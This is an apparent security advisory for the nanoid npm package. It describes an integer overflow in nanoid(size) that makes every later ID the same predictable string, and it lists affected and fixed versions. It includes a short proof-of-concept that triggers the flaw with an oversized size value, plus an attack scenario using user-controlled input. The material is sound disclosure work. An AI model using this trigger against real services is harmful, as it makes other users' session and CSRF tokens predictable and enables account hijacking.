Packages / nanoid / Security

HighVulnerabilityGHSA-xwg4-73v4-xw9wCVE-2026-73086Published 1 Sep 2026

nanoid: Integer Overflow or Wraparound

Affected releases · nanoid

  • 5.x5.0.0 – 5.1.10Fixed in 5.1.11
  • 4.x4.0.0 – 4.0.2No fix on this line yet
  • 3.x3.0.0 – 3.3.11Fixed in 3.3.12
  • 2.x and older0.1.0 – 2.1.11No fix, no longer updated

On 5.x, the newest line:

npm install nanoid@5.1.11
6.x
  1. Not affected

    6.0.0 – 6.0.2

    3 releases, latest

5.x
  1. Affected

    5.0.0 – 5.1.10

    21 releases

  2. Fixed

    5.1.11 – 5.1.16

    6 releases

4.x
  1. Affected

    4.0.0 – 4.0.2

    3 releases

3.x
  1. Affected

    3.0.0 – 3.3.11

    49 releases

  2. Fixed

    3.3.12 – 3.3.20

    9 releases

2.x
  1. Affected

    2.0.0 – 2.1.11

    17 releases

1.x
  1. Affected

    1.0.0 – 1.3.4

    22 releases

0.x
  1. Affected

    0.1.0 – 0.2.2

    5 releases

135 stable releases of nanoid, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for nanoid. It is read in your browser and sent nowhere.

What happens

Summary

An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.

Details

nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.

The negative value is passed to fillPool() (index.js:15):

function fillPool(bytes) {
  if (!pool || pool.length < bytes) {       // false: pool exists, -2B < pool.length
    pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
    crypto.getRandomValues(pool)
    poolOffset = 0
  } else if (poolOffset + bytes > pool.length) {  // false: poolOffset + (-2B) < pool.length
    crypto.getRandomValues(pool)
    poolOffset = 0
  }
  poolOffset += bytes  // poolOffset += -2147483648 → deeply negative
}

Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.

Subsequent nanoid() calls execute:

for (let i = poolOffset - size; i < poolOffset; i++) {
  id += scopedUrlAlphabet[pool[i] & 63]
}

pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".

The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.

PoC

import { nanoid } from 'nanoid'

// Step 1: Normal operation
console.log(nanoid())  // e.g., "V1StGXR8_Z5jdHi6B-myT"

// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}

// Step 3: All subsequent IDs are deterministic
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide

Run with: node --experimental-vm-modules poc.mjs

Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).

Impact

Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.

  • All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable

  • An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass

  • The corruption is persistent (survives across requests) and affects all consumers of nanoid in the same process

  • No special privileges or preconditions required — a single unauthenticated request is sufficient

  • Affects any application that passes external input to the size parameter without validation